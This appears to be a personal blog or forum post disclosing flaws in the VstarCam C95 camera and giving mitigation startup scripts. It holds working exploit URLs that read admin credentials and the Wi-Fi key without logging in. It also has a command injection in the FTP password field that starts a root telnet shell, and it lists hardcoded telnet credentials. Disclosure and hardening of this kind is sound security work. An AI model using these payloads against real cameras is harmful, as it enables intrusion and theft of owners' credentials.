VstarCam C95 Insecurity

So the following exploits work on the VstarCam C95

Get Admin Credentials and Config file without authentication:

http://camurl:port/system.ini?loginuse&loginpas

This file contains plain-text username and password for the admin account along with the unique ID of the camera.

http://camurl:port/network.ini?loginuse&loginpas

Will give you the local network config, SSID and WPA key.

Run arbitrary commands once authenticated:

Note: Change the admin username/password to what you got from the file above, this code will open a non password protected telnet server on port 25

http://camurl:port/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0
http://camurl:port/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin

However VstarCam was nice enough to leave a telnet server running with the following credentials:

Username: vstarcam2015                               password: 20150602

Mitigation:

WARNING!! IF YOU DON'T UNDERSTAND WHAT THESE SCRIPTS ARE DOING OR MAKE A MISTAKE YOU COULD EASILY BRICK YOUR DEVICE. THE CHANGES I MADE PERSISTED THROUGH A FACTORY RESET!! YOU HAVE BEEN WARNED!! IF YOU BREAK YOUR DEVICE YOU CAN KEEP BOTH HALVES, I TAKE NO RESPONSIBILITY!!!!!!

You can mitigate most of these problems with some simple startup scripts... There will be a race condition at bootup however where your system is vulnerable... Once started however you can make it so remote users can't get your login and network creds and you can change your telnet password.

Tomorrow I will look at setting up firewall rules to block connections to the web server until the config files are deleted.

Start by coping /system/www/network.ini and /system/www/settings.ini to /system/init/

Create the following files in /system/init/

Undelete.sh (This runs on startup and puts stuff back so it can get on the wifi and the web server can load the proper username and password)

MAKE SURE TO CHANGE THE <YOUR ROOT HASH HERE> part to a valid password hash or you will lock yourself out!

Undelete.sh:
cp /system/init/system.ini /system/www/
cp /system/init/network.ini /system/www/
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 30
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd

/system/init/delete.sh &

delete.sh will run and remove the ini files from the www directory after the system has started... it runs over and over until it doesn't find either file then exits. Then it waits and checks if the files come back every 30 seconds and removes them again.

delete.sh:
if [ -e /system/www/network.ini ]
then
        echo "ok"
        rm /system/www/system.ini
        rm /system/www/network.ini
        sleep 3
        /system/init/delete.sh &


    else
        echo "nok"
fi


if [ -e /system/www/system.ini ]
then
        echo "ok"
        rm /system/www/system.ini
        rm /system/www/network.ini
        sleep 3
        /system/init/delete.sh &
else
        sleep 30
        /system/init/delete.sh &
        exit
fi


exit

Finally modify your ipcam.sh file to run undelete...

ipcam.sh:
export PATH=/system/system/bin:$PATH
telnetd
export LD_LIBRARY_PATH=/system/system/lib:/mnt/lib:$LD_LIBRARY_PATH
mount -t tmpfs none /tmp -o size=3m

/system/init/undelete.sh &

/system/system/bin/upgrade &

/system/system/bin/wifidaemon

As an added measure I've hex edited the /system/system/bin/encoder executable and changed the names of set_ftp.cgi and ftptest.cgi to random characters since I don't use FTP functions anyway.  Though this isn't perfect it will prevent any automated scripts and script kiddies from getting root on my device.

I may also experiment with changing the system.ini file name in the binary as well as the loginuse and loginpas strings so my device will be very different from all the other ones out there, thus further obfuscating this attack surface. I will update this post once I have time to do this.

As a side note I have got much more reliable connections to my camera as well as less random reboots since I made these changes, I'm not sure why at this point, but I'm much happier with it now that it's slightly less vulnerable and more reliable.